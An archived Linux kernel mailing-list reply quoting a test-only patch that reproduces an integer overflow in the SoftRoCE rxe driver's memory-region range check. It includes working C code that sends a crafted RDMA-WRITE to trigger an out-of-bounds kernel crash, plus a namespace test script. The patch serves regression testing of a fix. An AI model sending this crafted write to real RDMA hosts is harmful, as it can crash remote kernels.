From: Zhu Yanjun <yanjun.zhu@linux.dev>
To: Gang Yan <gang.yan@linux.dev>,
zyjzyj2000@gmail.com,
"yanjun.zhu@linux.dev" <yanjun.zhu@linux.dev>
Cc: linux-rdma@vger.kernel.org, Gang Yan <yangang@kylinos.cn>
Subject: Re: [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
Date: Sun, 2 Aug 2026 15:28:25 -0700 [thread overview]
Message-ID: <36d31c1e-aebe-4a48-ab44-4447c0a75a33@linux.dev> (raw)
In-Reply-To: <c93089b8-bb9f-4aac-a644-36b6cc9b5d59@linux.dev>
在 2026/8/2 15:09, Zhu Yanjun 写道:
> 在 2026/7/28 2:11, Gang Yan 写道:
>> From: Gang Yan <yangang@kylinos.cn>
>>
>> This patch is for reproduce the OOB issue.
>>
>> Requirements:
>> * Kernel built with ``CONFIG_INFINIBAND``,
>> ``CONFIG_INFINIBAND_USER_ACCESS``
>> and ``CONFIG_RDMA_RXE`` (=m is fine).
>> * ``rdma_rxe`` module loadable (``modprobe rdma_rxe``).
>> * Userspace headers/libs to build the helper: ``libibverbs-dev``,
>> ``librdmacm-dev``.
>> * Root (the script builds a network namespace, a veth pair and two rxe
>> devices).
>>
>> BUILD and RUN:
>> cd tools/testing/selftests/rdma
>> make
>> # as root:
>> ./rxe_mr_overflow.sh
>>
>> Expected results (Unpatched kernel (bug present) — FAIL):
>> The kernel log shows the index WARNING immediately followed by an OOB
>> Oops
>> in the responder path::
>>
>> WARNING: CPU: N PID: ... at rxe_mr_iova_to_index+0x.../0x...
>> [rdma_rxe]
>> ...
>> RIP: 0010:rxe_mr_iova_to_index+0x.../0x... [rdma_rxe]
>> Call Trace:
>> <TASK>
>> rxe_mr_copy+0x.../0x... [rdma_rxe]
>> rxe_receiver+0x.../0x... [rdma_rxe]
>> do_work+0x.../0x... [rdma_rxe]
>> ...
>> Oops: general protection fault, probably for non-canonical
>> address 0x...
>> Workqueue: rxe_wq do_work [rdma_rxe]
>> RIP: 0010:rxe_mr_copy+0x.../0x... [rdma_rxe]
>> Call Trace:
>> <TASK>
>> rxe_mr_copy+0x.../0x... [rdma_rxe]
>> rxe_receiver+0x.../0x... [rdma_rxe]
>> do_work+0x.../0x... [rdma_rxe]
>>
>> Assisted-by: Codex: GLM-5.2
>> Signed-off-by: Gang Yan <yangang@kylinos.cn>
>> ---
>> tools/testing/selftests/rdma/Makefile | 8 +-
>> tools/testing/selftests/rdma/config | 2 +
>> .../testing/selftests/rdma/rxe_mr_overflow.c | 187 ++++++++++++++++++
>> .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++
>> 4 files changed, 328 insertions(+), 1 deletion(-)
>> create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.c
>> create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.sh
>>
>> diff --git a/tools/testing/selftests/rdma/Makefile
>> b/tools/testing/selftests/rdma/Makefile
>> index 07af7f15c1bf..effeb8121d41 100644
>> --- a/tools/testing/selftests/rdma/Makefile
>> +++ b/tools/testing/selftests/rdma/Makefile
>> @@ -1,8 +1,14 @@
>> # SPDX-License-Identifier: GPL-2.0
>> -TEST_PROGS := rxe_rping_between_netns.sh \
>> +TEST_GEN_FILES := rxe_mr_overflow
>> +TEST_PROGS := rxe_mr_overflow.sh \
>> + rxe_rping_between_netns.sh \
>> rxe_ipv6.sh \
>> rxe_socket_with_netns.sh \
>> rxe_test_NETDEV_UNREGISTER.sh \
>> rxe_sent_rcvd_bytes.sh
>> include ../lib.mk
>> +
>> +# rxe_mr_overflow uses libibverbs / librdmacm
>> +$(OUTPUT)/rxe_mr_overflow: CFLAGS += -O2 -Wall
>> +$(OUTPUT)/rxe_mr_overflow: LDLIBS += -libverbs -lrdmacm
>> diff --git a/tools/testing/selftests/rdma/config
>> b/tools/testing/selftests/rdma/config
>> index 4ffb814e253b..bc27ce3ec093 100644
>> --- a/tools/testing/selftests/rdma/config
>> +++ b/tools/testing/selftests/rdma/config
>> @@ -1,3 +1,5 @@
>> CONFIG_TUN
>> CONFIG_VETH
>> CONFIG_RDMA_RXE
>> +CONFIG_INFINIBAND
>> +CONFIG_INFINIBAND_USER_ACCESS
>> diff --git a/tools/testing/selftests/rdma/rxe_mr_overflow.c
>> b/tools/testing/selftests/rdma/rxe_mr_overflow.c
>> new file mode 100644
>> index 000000000000..ccad930533ac
>> --- /dev/null
>> +++ b/tools/testing/selftests/rdma/rxe_mr_overflow.c
>> @@ -0,0 +1,187 @@
>> +// SPDX-License-Identifier: GPL-2.0
>> +/*
>> + * rxe_mr_overflow.c - trigger mr_check_range() iova overflow (OOB)
>> + *
>> + * Companion to rxe_mr_overflow.sh. The server registers a
>> USER/MEM_REG MR
>> + * and accepts an RDMA_CM connection, passing its rkey via private
>> data. The
>> + * client posts a single RDMA-WRITE whose remote_addr is chosen so that
>> + * iova + length wraps to 0 in mr_check_range():
>> + *
>> + * iova + length = 0xfffffffffffffff8 + 8 = 2^64 = 0
>> + *
>> + * On an *unpatched* kernel this bypasses mr_check_range(), and the
>> responder
>> + * computes a huge index in rxe_mr_iova_to_index() (WARN_ON(idx >=
>> nbuf)) and
>> + * dereferences mr->page_info[huge] -> out-of-bounds access / oops.
>> + *
>> + * On a *patched* kernel mr_check_range() rejects the crafted iova
>> and the
>> + * client completion is IBV_WC_REM_ACCESS_ERR (remote access error).
>> + *
>> + * Build: see Makefile (needs libibverbs-dev / librdmacm-dev).
>> + */
>> +#include <stdio.h>
>> +#include <stdlib.h>
>> +#include <string.h>
>> +#include <unistd.h>
>> +#include <stdint.h>
>> +#include <arpa/inet.h>
>> +#include <infiniband/verbs.h>
>> +#include <rdma/rdma_cma.h>
>> +
>> +#define BAD_ADDR 0xfffffffffffffff8ULL /* iova + WR_LEN wraps
>> to 0 */
>> +#define WR_LEN 8
>> +#define MR_LEN 4096
>> +
>> +struct mr_info {
>> + uint32_t rkey;
>> + uint32_t pad;
>> + uint64_t iova;
>> +} __attribute__((packed));
>> +
>> +static int wait_ev(struct rdma_event_channel *ec, struct
>> rdma_cm_event **ev,
>> + enum rdma_cm_event_type want)
>> +{
>> + while (rdma_get_cm_event(ec, ev) == 0) {
>> + if ((*ev)->event != want) {
>> + fprintf(stderr, "unexpected event %s (want %s)\n",
>> + rdma_event_str((*ev)->event), rdma_event_str(want));
>> + rdma_ack_cm_event(*ev);
>> + return -1;
>> + }
>> + return 0;
>> + }
>> + perror("rdma_get_cm_event");
>> + return -1;
>> +}
>> +
>> +static int run_server(const char *ip, int port)
>> +{
>> + struct rdma_event_channel *ec = rdma_create_event_channel();
>> + struct rdma_cm_id *lid;
>> + struct rdma_cm_event *ev;
>> +
>> + if (!ec) { perror("event_channel"); return 1; }
>> + if (rdma_create_id(ec, &lid, NULL, RDMA_PS_TCP)) {
>> perror("create_id"); return 1; }
>> +
>> + struct sockaddr_in sin = {0};
>> + sin.sin_family = AF_INET;
>> + sin.sin_port = htons(port);
>> + if (!inet_pton(AF_INET, ip, &sin.sin_addr)) { fprintf(stderr,
>> "bad ip\n"); return 1; }
>> +
>> + if (rdma_bind_addr(lid, (struct sockaddr *)&sin)) {
>> perror("bind_addr"); return 1; }
>> + if (rdma_listen(lid, 1)) { perror("listen"); return 1; }
>> + printf("[server] listen %s:%d dev=%s\n", ip, port,
>> + lid->verbs ? ibv_get_device_name(lid->verbs->device) : "?");
>> + fflush(stdout);
>> +
>> + if (wait_ev(ec, &ev, RDMA_CM_EVENT_CONNECT_REQUEST)) return 1;
>> + struct rdma_cm_id *id = ev->id;
>> +
>> + struct ibv_pd *pd = ibv_alloc_pd(id->verbs);
>> + struct ibv_cq *cq = ibv_create_cq(id->verbs, 8, NULL, NULL, 0);
>> + if (!pd || !cq) { perror("alloc_pd/create_cq"); return 1; }
>> + void *buf = calloc(1, MR_LEN);
>> + struct ibv_mr *mr = ibv_reg_mr(pd, buf, MR_LEN,
>> + IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE);
>> + if (!mr) { perror("reg_mr"); return 1; }
>> +
>> + struct ibv_qp_init_attr qa = {0};
>> + qa.send_cq = cq; qa.recv_cq = cq; qa.qp_type = IBV_QPT_RC;
>> + qa.cap.max_send_wr = 4; qa.cap.max_recv_wr = 4;
>> + qa.cap.max_send_sge = 2; qa.cap.max_recv_sge = 2;
>> + if (rdma_create_qp(id, pd, &qa)) { perror("create_qp"); return 1; }
>> +
>> + struct mr_info info = { .rkey = mr->rkey, .iova =
>> (uint64_t)(uintptr_t)buf };
>> + struct rdma_conn_param p = {0};
>> + p.private_data = &info;
>> + p.private_data_len = sizeof(info);
>> + p.initiator_depth = 1;
>> + p.responder_resources = 1;
>> + if (rdma_accept(id, &p)) { perror("accept"); return 1; }
>> + rdma_ack_cm_event(ev);
>> + printf("[server] accepted rkey=%#x iova=%#llx; waiting for
>> client write\n",
>> + mr->rkey, (unsigned long long)info.iova);
>> + fflush(stdout);
>> +
>> + /* The OOB (if unpatched) fires here in the responder path. */
>> + sleep(5);
>> + return 0;
>> +}
>> +
>> +static int run_client(const char *ip, int port)
>> +{
>> + struct rdma_event_channel *ec = rdma_create_event_channel();
>> + struct rdma_cm_id *id;
>> + struct rdma_cm_event *ev;
>> +
>> + if (!ec) { perror("event_channel"); return 1; }
>> + if (rdma_create_id(ec, &id, NULL, RDMA_PS_TCP)) {
>> perror("create_id"); return 1; }
>> +
>> + struct sockaddr_in sin = {0};
>> + sin.sin_family = AF_INET; sin.sin_port = htons(port);
>> + if (!inet_pton(AF_INET, ip, &sin.sin_addr)) { fprintf(stderr,
>> "bad ip\n"); return 1; }
>> +
>> + if (rdma_resolve_addr(id, NULL, (struct sockaddr *)&sin, 5000))
>> { perror("resolve_addr"); return 1; }
>> + if (wait_ev(ec, &ev, RDMA_CM_EVENT_ADDR_RESOLVED)) return 1;
>> + rdma_ack_cm_event(ev);
>> + if (rdma_resolve_route(id, 5000)) { perror("resolve_route");
>> return 1; }
>> + if (wait_ev(ec, &ev, RDMA_CM_EVENT_ROUTE_RESOLVED)) return 1;
>> + rdma_ack_cm_event(ev);
>> +
>> + struct ibv_pd *pd = ibv_alloc_pd(id->verbs);
>> + struct ibv_cq *cq = ibv_create_cq(id->verbs, 8, NULL, NULL, 0);
>> + void *buf = calloc(1, MR_LEN);
>> + struct ibv_mr *mr = ibv_reg_mr(pd, buf, MR_LEN,
>> IBV_ACCESS_LOCAL_WRITE);
>> + struct ibv_qp_init_attr qa = {0};
>> + qa.send_cq = cq; qa.recv_cq = cq; qa.qp_type = IBV_QPT_RC;
>> + qa.cap.max_send_wr = 4; qa.cap.max_recv_wr = 4;
>> + qa.cap.max_send_sge = 2; qa.cap.max_recv_sge = 2;
>> + if (rdma_create_qp(id, pd, &qa)) { perror("create_qp"); return 1; }
>> +
>> + struct rdma_conn_param p = {0};
>> + p.initiator_depth = 1; p.responder_resources = 1; p.retry_count
>> = 3;
>> + if (rdma_connect(id, &p)) { perror("connect"); return 1; }
>> + if (wait_ev(ec, &ev, RDMA_CM_EVENT_ESTABLISHED)) return 1;
>> +
>> + struct mr_info info = {0};
>> + if (ev->param.conn.private_data_len >= (int)sizeof(info))
>> + memcpy(&info, ev->param.conn.private_data, sizeof(info));
>> + rdma_ack_cm_event(ev);
>> +
>> + /* The malicious RDMA-WRITE: remote_addr makes iova+length wrap. */
>> + struct ibv_sge sge = { .addr = (uintptr_t)buf, .length = WR_LEN,
>> .lkey = mr->lkey };
>> + struct ibv_send_wr wr = {0}, *bad;
>> + wr.wr_id = 0xdead;
>> + wr.opcode = IBV_WR_RDMA_WRITE;
>> + wr.send_flags = IBV_SEND_SIGNALED;
>> + wr.sg_list = &sge;
>> + wr.num_sge = 1;
>> + wr.wr.rdma.remote_addr = BAD_ADDR;
>> + wr.wr.rdma.rkey = info.rkey;
>> + printf("[client] post RDMA-WRITE remote_addr=%#llx len=%d
>> rkey=%#x\n",
>> + (unsigned long long)BAD_ADDR, WR_LEN, info.rkey);
>> + fflush(stdout);
>> + ibv_post_send(id->qp, &wr, &bad);
>> +
>> + struct ibv_wc wc;
>> + int n, tries = 5000;
>> + while (tries-- > 0 && (n = ibv_poll_cq(cq, 1, &wc)) == 0)
>> + usleep(1000);
>> + if (n > 0)
>> + printf("[client] completion status=%d (%s)\n",
>> + wc.status, ibv_wc_status_str(wc.status));
>> + else
>> + printf("[client] no completion (responder likely crashed)\n");
>> + sleep(2);
>> + return 0;
>> +}
>> +
>> +int main(int argc, char **argv)
>> +{
>> + if (argc == 3) /* server <ip> <port> */
>> + return run_server(argv[1], atoi(argv[2]));
>> + if (argc == 4 && !strcmp(argv[1], "-c")) /* -c <ip> <port> */
>> + return run_client(argv[2], atoi(argv[3]));
>> + fprintf(stderr, "Usage:\n server: %s <ip> <port>\n client: %s
>> -c <ip> <port>\n",
>> + argv[0], argv[0]);
>> + return 1;
>> +}
>> diff --git a/tools/testing/selftests/rdma/rxe_mr_overflow.sh
>> b/tools/testing/selftests/rdma/rxe_mr_overflow.sh
>> new file mode 100644
>> index 000000000000..2590e41be99b
>> --- /dev/null
>> +++ b/tools/testing/selftests/rdma/rxe_mr_overflow.sh
>> @@ -0,0 +1,132 @@
>> +#!/bin/bash
>> +# SPDX-License-Identifier: GPL-2.0
>> +#
>> +# Regression test for the mr_check_range() iova overflow in SoftRoCE
>> (rxe).
>> +#
>> +# A remote peer can craft an RDMA-WRITE whose RETH makes iova +
>> length wrap
>> +# to 0, bypassing the old
>> +#
>> +# if (iova + length > mr->ibmr.iova + mr->ibmr.length)
>> +#
>> +# range check in mr_check_range(). The responder then derives a huge
>> page
>> +# index in rxe_mr_iova_to_index() (only WARN_ON-guarded) and
>> dereferences
>> +# mr->page_info[huge] -> out-of-bounds read/write / kernel oops,
>> triggerable
>> +# by an unauthenticated remote peer.
>> +#
>> +# Fixed by rewriting the check in overflow-safe form:
>> +#
>> +# if (iova < mr->ibmr.iova ||
>> +# length > mr->ibmr.length ||
>> +# iova - mr->ibmr.iova > mr->ibmr.length - length)
>> +#
>> +# Topology: a veth pair across a network namespace, one rxe device
>> on each
>> +# end. The server (ns) registers a USER MR and accepts an RDMA_CM
>> +# connection, passing its rkey/iova in the private data. The client
>> (host)
>> +# posts one RDMA-WRITE with remote_addr = 0xfffffffffffffff8, len = 8.
>> +#
>> +# - Patched kernel: PASS (mr_check_range() rejects the crafted
>> iova;
>> +# the client completion is
>> IBV_WC_REM_ACCESS_ERR;
>> +# no kernel warning/oops in dmesg)
>> +# - Unpatched kernel: FAIL (WARN_ON in rxe_mr_iova_to_index
>> followed by
>> +# an OOB page fault / oops in rxe_mr_copy)
>> +
> Thanks a lot. When I run rdma selftests. I got the following:
> "
> # Warning: file rxe_mr_overflow.sh is not executable
> "
> You need to make rxe_mr_overflow.sh executable.
After this testcase is run, please remove this bin file rxe_mr_overflow
in tools/testing/selftests/rdma.
Thanks a lot.
Zhu Yanjun
>
> And please also check and try to fix some warnings from sashiko.
>
> Thanks a lot.
> Zhu Yanjun
>
>> +NS="rxe_mrovf"
>> +VETH_NS="vmo-a"
>> +VETH_HOST="vmo-b"
>> +IP_NS="1.1.1.1"
>> +IP_HOST="1.1.1.2"
>> +PORT=4792
>> +BIN="$(dirname "$(readlink -f "$0")")/rxe_mr_overflow"
>> +
>> +source "$(dirname "$0")/../kselftest/ktap_helpers.sh"
>> +
>> +SRV=
>> +
>> +# Remove the topology this script creates. Idempotent: safe to call
>> even when
>> +# some of the resources no longer exist (e.g. partial setup, prior
>> abort).
>> +rxe_teardown() {
>> + rdma link del rxe1 2>/dev/null
>> + ip netns exec "$NS" rdma link del rxe0 2>/dev/null
>> + ip link delete "$VETH_HOST" 2>/dev/null
>> + ip netns del "$NS" 2>/dev/null
>> +}
>> +
>> +cleanup() {
>> + trap '' INT TERM EXIT # guard against re-entry
>> + # Kill the server first so the client does not block on a dead
>> peer.
>> + [ -n "$SRV" ] && kill "$SRV" 2>/dev/null
>> + wait "$SRV" 2>/dev/null
>> + rxe_teardown
>> + modprobe -r rdma_rxe 2>/dev/null
>> +}
>> +# Cover normal exit, Ctrl+C (SIGINT) and kill (SIGTERM) alike.
>> +trap cleanup INT TERM EXIT
>> +
>> +# Tear down any leftover topology from a previous aborted run
>> (SIGINT, kill
>> +# -9, guest crash, ...) so this script is always re-runnable instead of
>> +# failing on "RTNETLINK answers: File exists".
>> +rxe_teardown
>> +
>> +# --- Prerequisites ---
>> +if [ "$EUID" -ne 0 ]; then
>> + ktap_print_header
>> + ktap_skip_all "needs root"
>> + exit "$KSFT_SKIP"
>> +fi
>> +if ! modinfo rdma_rxe >/dev/null 2>&1; then
>> + ktap_print_header
>> + ktap_skip_all "rdma_rxe module not found"
>> + exit "$KSFT_SKIP"
>> +fi
>> +if [ ! -x "$BIN" ]; then
>> + ktap_print_header
>> + ktap_skip_all "$BIN not built (needs libibverbs-dev /
>> librdmacm-dev)"
>> + exit "$KSFT_SKIP"
>> +fi
>> +
>> +modprobe rdma_rxe >/dev/null 2>&1
>> +
>> +# --- Topology: veth pair across a netns, one rxe device on each end
>> ---
>> +ip netns add "$NS"
>> +ip link add "$VETH_NS" type veth peer name "$VETH_HOST"
>> +ip link set "$VETH_NS" netns "$NS"
>> +
>> +ip netns exec "$NS" ip addr add "$IP_NS/24" dev "$VETH_NS"
>> +ip netns exec "$NS" ip link set "$VETH_NS" up
>> +ip netns exec "$NS" ip link set lo up
>> +ip addr add "$IP_HOST/24" dev "$VETH_HOST"
>> +ip link set "$VETH_HOST" up
>> +
>> +ip netns exec "$NS" rdma link add rxe0 type rxe netdev "$VETH_NS"
>> +rdma link add rxe1 type rxe netdev "$VETH_HOST"
>> +
>> +if ! ping -c 2 -W 1 "$IP_NS" >/dev/null 2>&1; then
>> + ktap_print_header
>> + ktap_skip_all "no connectivity between host and netns"
>> + exit "$KSFT_SKIP"
>> +fi
>> +
>> +# Only look at warnings produced by this run.
>> +dmesg -C >/dev/null 2>&1
>> +
>> +# --- Run: server in the netns, client on the host ---
>> +# On an unpatched kernel the crafted WRITE can wedge the responder;
>> wrap both
>> +# sides in timeout() so the script always reaches a verdict and runs
>> cleanup
>> +# instead of hanging on a stuck peer.
>> +ktap_print_header
>> +ktap_set_plan 1
>> +
>> +ip netns exec "$NS" timeout 30 "$BIN" "$IP_NS" "$PORT" >/dev/null
>> 2>&1 &
>> +SRV=$!
>> +sleep 2
>> +timeout 30 "$BIN" -c "$IP_NS" "$PORT" >/dev/null 2>&1
>> +wait "$SRV" 2>/dev/null
>> +
>> +# --- Verdict: any rxe MR-range warning / OOB means the kernel is
>> unpatched ---
>> +if dmesg 2>/dev/null | grep -qE
>> "rxe_mr_iova_to_index|mr_check_range|BUG:.*rxe_mr_copy|KASAN:.*rxe_mr";
>> then
>> + ktap_test_fail "mr_check_range() iova overflow (UNPATCHED):
>> OOB/WARN in dmesg"
>> +else
>> + ktap_test_pass "mr_check_range() rejected crafted iova (patched)"
>> +fi
>> +
>> +ktap_finished
>
--
Best Regards,
Yanjun.Zhu
next prev parent reply other threads:[~2026-08-02 22:28 UTC|newest]
Thread overview: 12+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-07-28 9:11 [PATCH net 0/2] RDMA/rxe: fix mr_check_range() iova overflow (OOB) Gang Yan
2026-07-28 9:11 ` [PATCH net 1/2] RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB access Gang Yan
2026-07-28 9:11 ` [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer Gang Yan
2026-08-02 22:09 ` Zhu Yanjun
2026-08-02 22:28 ` Zhu Yanjun [this message]
2026-08-03 1:49 ` gang.yan
2026-08-04 2:17 ` Zhu Yanjun
2026-08-05 7:47 ` gang.yan
2026-08-05 15:56 ` Zhu Yanjun
2026-07-30 5:15 ` [PATCH net 0/2] RDMA/rxe: fix mr_check_range() iova overflow (OOB) Zhu Yanjun
2026-08-01 9:27 ` gang.yan
2026-08-02 22:21 ` Zhu Yanjun
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=36d31c1e-aebe-4a48-ab44-4447c0a75a33@linux.dev \
--to=yanjun.zhu@linux.dev \
--cc=gang.yan@linux.dev \
--cc=linux-rdma@vger.kernel.org \
--cc=yangang@kylinos.cn \
--cc=zyjzyj2000@gmail.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox